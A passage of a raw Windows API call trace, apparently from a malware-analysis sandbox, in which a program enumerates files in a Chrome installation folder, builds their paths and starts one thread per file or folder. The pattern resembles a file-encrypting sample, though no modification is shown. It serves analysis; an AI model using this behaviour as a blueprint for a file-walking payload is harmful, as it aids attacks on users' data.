(x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0133.974] wcscat (in: _Dest=0x107780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0133.974] wcscat (in: _Dest=0x107780, _Source="58.0.3029.110.manifest" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest" [0150.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ba4 [0150.963] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db1d780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7db1d780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x744b1e7c, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x2f01758, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.dll", cAlternateFileName="")) returned 1 [0150.963] wcscmp (_String1="chrome.dll", _String2=".") returned 1 [0150.963] wcscmp (_String1="chrome.dll", _String2="..") returned 1 [0150.963] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x74ce3fd2, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.dll.sig", cAlternateFileName="CHROME~3.SIG")) returned 1 [0150.963] wcscmp (_String1="chrome.dll.sig", _String2=".") returned 1 [0150.963] wcscmp (_String1="chrome.dll.sig", _String2="..") returned 1 [0150.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ade40 [0150.963] wcscpy (in: _Dest=0x202ade40, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0150.963] wcscat (in: _Dest=0x202ade40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0150.963] wcscat (in: _Dest=0x202ade40, _Source="chrome.dll.sig" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig" [0150.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ade40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2330 [0150.964] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x73db0ff6, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe.sig", cAlternateFileName="CHROME~2.SIG")) returned 1 [0150.964] wcscmp (_String1="chrome.exe.sig", _String2=".") returned 1 [0150.964] wcscmp (_String1="chrome.exe.sig", _String2="..") returned 1 [0150.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202adb80 [0150.965] wcscpy (in: _Dest=0x202adb80, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0150.965] wcscat (in: _Dest=0x202adb80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0150.965] wcscat (in: _Dest=0x202adb80, _Source="chrome.exe.sig" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig" [0150.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202adb80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2334 [0150.965] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe6e02b4, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x6f44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_100_percent.pak", cAlternateFileName="CHROME~1.PAK")) returned 1 [0150.965] wcscmp (_String1="chrome_100_percent.pak", _String2=".") returned 1 [0150.966] wcscmp (_String1="chrome_100_percent.pak", _String2="..") returned 1 [0150.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106dc0 [0150.966] wcscpy (in: _Dest=0x106dc0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0150.966] wcscat (in: _Dest=0x106dc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0150.966] wcscat (in: _Dest=0x106dc0, _Source="chrome_100_percent.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak" [0150.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x106dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2338 [0150.967] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff5b27e6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xb0b82, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_200_percent.pak", cAlternateFileName="CHROME~2.PAK")) returned 1 [0150.967] wcscmp (_String1="chrome_200_percent.pak", _String2=".") returned 1 [0150.967] wcscmp (_String1="chrome_200_percent.pak", _String2="..") returned 1 [0150.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107300 [0150.967] wcscpy (in: _Dest=0x107300, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0150.967] wcscat (in: _Dest=0x107300, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0150.967] wcscat (in: _Dest=0x107300, _Source="chrome_200_percent.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak" [0150.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x233c [0150.968] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dd7ed80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7dd7ed80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7553c382, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x3953558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_child.dll", cAlternateFileName="CHROME~1.DLL")) returned 1 [0150.968] wcscmp (_String1="chrome_child.dll", _String2=".") returned 1 [0150.968] wcscmp (_String1="chrome_child.dll", _String2="..") returned 1 [0150.968] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x75e2d09a, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_child.dll.sig", cAlternateFileName="CHROME~1.SIG")) returned 1 [0150.968] wcscmp (_String1="chrome_child.dll.sig", _String2=".") returned 1 [0150.968] wcscmp (_String1="chrome_child.dll.sig", _String2="..") returned 1 [0150.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad6b0 [0150.968] wcscpy (in: _Dest=0x202ad6b0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0150.968] wcscat (in: _Dest=0x202ad6b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0150.968] wcscat (in: _Dest=0x202ad6b0, _Source="chrome_child.dll.sig" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig" [0150.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad6b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2340 [0150.969] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76043186, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x86558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_elf.dll", cAlternateFileName="CHROME~2.DLL")) returned 1 [0150.969] wcscmp (_String1="chrome_elf.dll", _String2=".") returned 1 [0150.969] wcscmp (_String1="chrome_elf.dll", _String2="..") returned 1 [0150.969] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7638a542, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x94b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_watcher.dll", cAlternateFileName="CHROME~3.DLL")) returned 1 [0150.969] wcscmp (_String1="chrome_watcher.dll", _String2=".") returned 1 [0150.969] wcscmp (_String1="chrome_watcher.dll", _String2="..") returned 1 [0150.969] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe9a43f6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x447ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dcompiler_47.dll", cAlternateFileName="D3DCOM~1.DLL")) returned 1 [0150.969] wcscmp (_String1="d3dcompiler_47.dll", _String2=".") returned 1 [0150.969] wcscmp (_String1="d3dcompiler_47.dll", _String2="..") returned 1 [0150.969] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_apps", cAlternateFileName="DEFAUL~1")) returned 1 [0150.969] wcscmp (_String1="default_apps", _String2=".") returned 1 [0150.969] wcscmp (_String1="default_apps", _String2="..") returned 1 [0150.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7ad5c0 [0150.970] wcscpy (in: _Dest=0x1b7ad5c0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0150.970] wcscat (in: _Dest=0x1b7ad5c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0150.970] wcscat (in: _Dest=0x1b7ad5c0, _Source="default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0150.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ad5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2344 [0150.970] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7689b536, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x3358, dwReserved0=0x0, dwReserved1=0x0, cFileName="eventlog_provider.dll", cAlternateFileName="EVENTL~1.DLL")) returned 1 [0150.970] wcscmp (_String1="eventlog_provider.dll", _String2=".") returned 1 [0150.970] wcscmp (_String1="eventlog_provider.dll", _String2="..") returned 1 [0150.970] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0150.971] wcscmp (_String1="Extensions", _String2=".") returned 1 [0150.971] wcscmp (_String1="Extensions", _String2="..") returned 1 [0150.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ad020 [0150.971] wcscpy (in: _Dest=0x1b7ad020, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0150.971] wcscat (in: _Dest=0x1b7ad020, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0150.971] wcscat (in: _Dest=0x1b7ad020, _Source="Extensions" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions" [0150.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ad020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2348 [0150.972] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7d7940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7d7940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe9bf1b1, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x9a9480, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudtl.dat", cAlternateFileName="")) returned 1 [0150.972] wcscmp (_String1="icudtl.dat", _String2=".") returned 1 [0150.972] wcscmp (_String1="icudtl.dat", _String2="..") returned 1 [0150.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ade80 [0150.972] wcscpy (in: _Dest=0x1b7ade80, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0150.972] wcscat (in: _Dest=0x1b7ade80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0150.972] wcscat (in: _Dest=0x1b7ade80, _Source="icudtl.dat" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat" [0150.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ade80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x234c [0150.973] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0150.973] wcscmp (_String1="Installer", _String2=".") returned 1 [0150.973] wcscmp (_String1="Installer", _String2="..") returned 1 [0150.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ad980 [0150.974] wcscpy (in: _Dest=0x1b7ad980, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0150.974] wcscat (in: _Dest=0x1b7ad980, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0150.974] wcscat (in: _Dest=0x1b7ad980, _Source="Installer" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer" [0150.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ad980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2350 [0150.974] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76be28f2, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x18958, dwReserved0=0x0, dwReserved1=0x0, cFileName="libegl.dll", cAlternateFileName="")) returned 1 [0150.974] wcscmp (_String1="libegl.dll", _String2=".") returned 1 [0150.975] wcscmp (_String1="libegl.dll", _String2="..") returned 1 [0150.975] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76f4ff08, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x397d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="libglesv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1 [0150.975] wcscmp (_String1="libglesv2.dll", _String2=".") returned 1 [0150.975] wcscmp (_String1="libglesv2.dll", _String2="..") returned 1 [0150.975] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locales", cAlternateFileName="")) returned 1 [0150.975] wcscmp (_String1="Locales", _String2=".") returned 1 [0150.975] wcscmp (_String1="Locales", _String2="..") returned 1 [0150.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7adca0 [0150.975] wcscpy (in: _Dest=0x1b7adca0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0150.975] wcscat (in: _Dest=0x1b7adca0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0150.975] wcscat (in: _Dest=0x1b7adca0, _Source="Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0150.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7adca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2354 [0150.976] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d896020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d896020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea2818c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x380630, dwReserved0=0x0, dwReserved1=0x0, cFileName="nacl_irt_x86_64.nexe", cAlternateFileName="NACL_I~1.NEX")) returned 1 [0150.976] wcscmp (_String1="nacl_irt_x86_64.nexe", _String2=".") returned 1 [0150.976] wcscmp (_String1="nacl_irt_x86_64.nexe", _String2="..") returned 1 [0150.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad130 [0150.976] wcscpy (in: _Dest=0x202ad130, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0150.976] wcscat (in: _Dest=0x202ad130, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0150.977] wcscat (in: _Dest=0x202ad130, _Source="nacl_irt_x86_64.nexe" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\nacl_irt_x86_64.nexe") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\nacl_irt_x86_64.nexe" [0150.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2358 [0150.977] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d896020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d896020, 